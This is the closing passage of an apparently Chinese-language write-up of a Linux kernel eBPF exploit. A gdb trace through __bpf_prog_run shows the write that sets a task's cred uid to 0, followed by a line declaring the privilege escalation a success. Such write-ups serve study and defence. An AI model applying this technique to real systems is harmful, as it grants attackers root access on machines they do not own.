(gdb) x/10i $rip-12 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax //就是这里改变了uid的值 => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx (gdb) x/1l ($rcx+$rdx*1) //$rcx+$rdx*1的值0xffff880075b7ca84即为uid的地址 0xffff880075b7ca84: Undefined output format "l". (gdb) p &((struct task_struct*)0xffff880079afe900)->cred->uid $43 = (kuid_t *) 0xffff880075b7ca84 (gdb) i r $rax //此时rax为我们需要些到uid地址的值0 rax 0x0 0 (gdb)
提权成功：
到此整个漏洞利用完成，后面的部分写的有点仓促了，如果有错误的地方，还请各位朋友不吝赐教。
